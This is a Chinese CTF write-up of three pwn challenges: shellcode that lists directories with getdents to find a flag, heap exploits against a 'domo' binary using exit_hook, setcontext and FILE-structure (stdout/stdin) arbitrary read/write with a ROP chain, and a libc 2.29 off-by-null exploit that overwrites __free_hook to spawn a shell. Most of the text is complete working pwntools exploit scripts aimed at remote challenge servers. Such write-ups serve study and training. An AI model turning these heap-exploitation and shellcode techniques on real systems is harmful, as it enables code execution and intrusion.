- 题目开启沙盒并且不知道flag路径时的处理方法(whuctf-shellcode)
- 题目开启沙盒并且free_hook和malloc_hook都被禁用时的处理情况(GKCTF-pwn1)
- libc2.29下的off by null(bjdctf-happyending)
whuctf-shellcode:
题目就是一个简单shellcode调用,难点在于不知道flag路径,需要自己寻
找,这里用到了一个函数sys_getdents
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);
该函数是一个解析文件夹的函数,第一个参数时要解析的文件句柄,第二个参数是存放解析数据的位置,count是dirp的大小,通过这个我们就可以解析文件夹,但是解析数据的情况有点糟糕,但也不难辨认,需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0
可以看到有一个FFFFFFFlag的文件夹,我们进一步解析这个文件夹
解析成功,然后我们把open的第二个参数换成0,getdents改为read就好了
可以看到成功打印出flag,
第一部分的shellcode:
payload = shellcraft.open("./",0x10000)
payload += shellcraft.getdents("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)
第二部分shellcode:
payload = shellcraft.open("./FFFFFFFFFlag/flag",0)
payload += shellcraft.read("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)
小结:
当不知道flag路径时使用getdents函数
GKCTF-pwn1
这一题学到了很多东西,同时也巩固了很多知识,这题开启了沙盒,在比赛期间我的想法是打exit_hook函数因为我们可以控制两个位置,因此尝试触发setcontext函数来进行srop,但是不知道是什么原因导致了crash,利用失败,最后发现把第一个参数的位置填上"sh",调用system("sh")竟然也可以起shell,原因看了一下官方wp是因为将沙盒放在了最后导致了沙盒起不了太大的作用
下面附上我的exp和我根据官方wp写出的exp:
mine:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
binary = 'domo'
elf = ELF('domo')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "node3.buuoj.cn"
port = 28855
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def choice(idx):
sla("> ",str(idx))
def add(size,payload):
choice(1)
sla("size:\n",str(size))
sa("content:\n",payload)
def show(idx):
choice(3)
sla("index:\n",str(idx))
def free(idx):
choice(2)
sla("index:\n",str(idx))
def edit(addr,num):
choice(4)
sla("addr:\n",str(addr))
sla("num:\n",num)
add(0xf0,"aaaa")
add(0x68,"aaaa")
add(0xf0,"aaaa")
add(0x60,"aaaaa")
free(0)
free(1)
add(0x68,"a"*0x60+p64(0x100+0x70))
free(2)
add(0xe0,"\xa0")
show(1)
libc_base = l64()-0x3c4da0
lg("libc_base",libc_base)
setcontext = 0x47b75+libc_base
free_hook = libc.sym["__free_hook"]+libc_base
gets_addr = libc.sym["gets"]+libc_base
rtld = 0x83794c+libc_base
sys_addr = libc.sym["system"]+libc_base
free_hook1 = free_hook&0xfffffffffffff000
syscall = 0x00000000000bc375+libc_base
pop_rdi = 0x0000000000021102+libc_base
pop_rsi = 0x00000000000202e8+libc_base
pop_rdx = libc_base+0x0000000000001b92
pop_rax = libc_base+0x0000000000033544
exit_hook = 0x837f48+libc_base
exit_hook2 = exit_hook+8
addr1 = 0x611c90+libc_base
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
edit(str(exit_hook-8),p8(0x7f))
add(0x50,p64(0)+p64(0x71))
add(0x120,str(frame))
add(0x80,"aaaa")
free(5)
free(0)
add(0x60,"a"*0x40+p64(0)+p64(0x121)+p64(0)+p64(rtld-0x40))
add(0x110,"aaa")
free(0)
free(3)
add(0x60,p8(0x10))
show(0)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))+0x1e0
lg("heap_addr",heap_addr)
add(0x60,"aaaa")
free(3)
free(2)
add(0x50,p64(0)+p64(0x71)+p64(libc_base+0x837919))
add(0x60,'a')
add(0x60,"\x00"*3+p64(0)*2+p32(0)+p32(1)+p32(0)+"sh")
free(2)
free(3)
add(0x50,p64(0)+p64(0x71)+p64(exit_hook-0x10))
add(0x60,p64(addr1)+p64(setcontext))
add(0x60,p64(addr1)+p64(sys_addr))
# gdb.attach(p)
p.interactive()
官方解exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'domo'
elf = ELF('domo')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "node3.buuoj.cn"
port = 27726
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def choice(idx):
sla("> ",str(idx))
def add(size,payload):
choice(1)
sla("size:\n",str(size))
sa("content:\n",payload)
def show(idx):
choice(3)
sla("index:\n",str(idx))
def free(idx):
choice(2)
sla("index:\n",str(idx))
def edit(addr,num):
choice(4)
sla("addr:\n",str(addr))
sla("num:\n",num)
add(0xf0,"aaaa")
add(0x68,"aaaa")
add(0xf0,"aaaa")
add(0x60,"aaaa")
free(0)
free(1)
add(0x68,"a"*0x60+p64(0x70+0x100))
free(2)
add(0xe0,"\xa0")
show(1)
libc_base = l64()-0x3c4da0
lg("libc_base",libc_base)
stdout = libc.sym["_IO_2_1_stdout_"]+libc_base
stdin = libc.sym["_IO_2_1_stdin_"]+libc_base
iolist = 0x3c5520+libc_base
environ = libc.sym["environ"]+libc_base
jump = libc_base+libc.sym["_IO_file_jumps"]
malloc_hook = libc.sym["__malloc_hook"]+libc_base
free_hook = libc.sym["__malloc_hook"]+libc_base
wjumps = libc.sym["_IO_wfile_jumps"]+libc_base
one = o_g[0]+libc_base
poprdi = 0x0000000000021102+libc_base
poprsi = libc_base+0x00000000000202e8
poprdx = libc_base+0x0000000000001b92
openr = libc.sym["open"]+libc_base
read = libc.sym["read"]+libc_base
puts = libc_base+libc.sym['write']
# poprax = libc_base+
add(0x50,p64(0)+p64(0x71))
free(2)
free(0)
add(0x50,p64(0)+p64(0x71)+p64(stdout-0x43))
add(0x60,'\xa0')
payload ="\x00"*3+p64(0)*5+p64(jump)+p64(0x00000000fbad2887)+p64(stdout+131)+p64(environ)
payload += p64(stdout+131)+p64(environ)+p64(environ+8)
add(0x68,payload)
stack_addr = l64()-0xf2
lg("stack_addr",stack_addr)
free(2)
free(3)
add(0x60,"\x10")
show(2)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
lg("heap_addr",heap_addr)
add(0x60,"flag")
free(3)
free(0)
edit(str(stdin-0x20),p8(0x7f))
add(0x50,"flag\x00\x00\x00\x00"+p64(0x71)+p64(stdin-0x28))
add(0x60,p64(0))
add(0x110,"flag")
payload = p64(0)+p64(wjumps)+p64(0)+p64(0x00000000fbad2288)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x1000)
add(0x60,payload)
payload = p64(poprdi)+p64(heap_addr)+p64(poprsi)+p64(0)+p64(openr)
payload += p64(poprdi)+p64(3)+p64(poprsi)+p64(heap_addr+0x20)+p64(poprdx)+p64(0x30)+p64(read)
payload += p64(poprdi)+p64(1)+p64(poprsi)+p64(heap_addr+0x20)+p64(poprdx)+p64(0x30)+p64(puts)
p.recv()
# gdb.attach(p)
p.sendline("5\n"+payload)
p.interactive()
小结:
开启沙盒时并且禁用了malloc_hook和free_hook尝试利用stdout和stdin来进行任意地址读(泄露栈地址,堆地址,libc地址都可),任意位置写(写程序的返回地址构造rop链)需要注意的是,虽然stdout也可以进行任意地址写但是不推荐这样做,因为有的时候这个值并不可控(修改部分)
_IO_write_base指向想要泄露的地方。
_IO_write_ptr指向泄露结束的地址。
_IO_read_end等于_IO_write_base以绕过限制。
可以简单的理解为_flags值不变,后面跟(原数据和要泄露的数据)*2,最后跟上结束位置
使用stdin进行任意地址写时:(修改部分)
设置_IO_read_end等于_IO_read_ptr。
设置_IO_buf_base为write_start,_IO_buf_end为write_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。
可以简单的理解_flags值不变,后面跟6个p64(0)然后后面两个写上要修改的地址和结束地址
libc2.29下的off by null:
这题一个字,爽,比赛期间调了很久,这题和海洋大学的略有不同,就是堆地址不白给,这就需要借助largebin残留的堆地址来进行伪造,大体思路摘自aidai师傅的博客:
这里简单说明一下
1.fakechunk和可控chunkX位置选择,我总结了一下,需要满足如下条件:
fakechunk必须是xxx000这种,并且是在一个新页
fakechunk 的fd覆盖倒数第二个字节指向可控的chunkX比如xxx00f0
chunkX利用off by null覆盖最后一个字节xxx0000
不会保证100%成功,当倒数第二个字节为"\x00"时才会成功,1/16的可能性
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
# from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'pwn111'
elf = ELF('pwn111')
libc = ELF("./libc.so.6")
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "183.129.189.60"
port = 10106
p = remote(host,port)
o_g = [0xe237f,0xe2383,0xe2386,0x106ef8]
o_g1 = [0xe6b93,0xe6b96,0xe6b99,0x10afa9]
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def choice(idx):
sla(">\n",str(idx))
def add(size,payload):
choice(1)
sla("Your blessing words length :\n",str(size))
sa("Best wishes to them!\n",payload)
def show(idx):
choice(3)
sla("input the idx to show your blessing :\n",str(idx))
def free(idx):
choice(2)
sla("input the idx to clean the debuff :\n",str(idx))
def exp():
for i in range(6):
add(0x1000,"aaaa")
for i in range(10):
add(0x28,"aaaa")#6
add(0xb60,"/bin/sh\x00")#16
add(0x480,"aaaa")#17
add(0xf8,"aaaa")#18
free(17)
add(0x500,"aaaa")#17
add(0x28,p64(0)+p64(0x481)+p8(0x40))#19
add(0x500,"aaaa")
add(0x28,p64(0)+p64(0x21)+p64(0)+p8(0x10))
add(0x28,"aaaa")#22
for i in range(7):
free(i+6)
free(22)
free(19)
for i in range(9):
add(0x28,p8(0x10))
add(0x68,"aaa")#23
add(0x388,"a"*0x380)#24
for i in range(7):
add(0xf8,"aaaa")
for i in range(7):
free(i+25)
free(24)
add(0x388,"a"*0x380+p64(0x480))
free(18)
add(0x70,"aaaa")
show(23)
libc_base = l64()-96-0x10-libc.sym["__malloc_hook"]
sys_addr = libc_base+libc.sym["system"]
free_hook = libc.sym["__free_hook"]+libc_base
malloc_hook = libc_base+libc.sym["__malloc_hook"]
one = o_g1[0]+libc_base
lg("libc_base",libc_base)
for i in range(11):
add(0x68,"aaaa")
for i in range(7):
free(i+26)
free(23)
free(35)
free(25)
for i in range(7):
add(0x68,"aaaa")
add(0x68,p64(free_hook))
add(0x68,p64(free_hook))
add(0x68,p64(free_hook))
add(0x68,p64(sys_addr))
free(16)
# gdb.attach(p)
p.interactive()
#ec6bd82ec7854173a6768b7cf9e316cc
while True:
# p = remote(host,port)
p = process(binary)
try:
exp()
except:
p.close()
小结:
libc2.29够味!
总结:
这几场比赛打下来总体感觉不错,学到了好多东西,同时也看到了好多自己存在的问题,没白打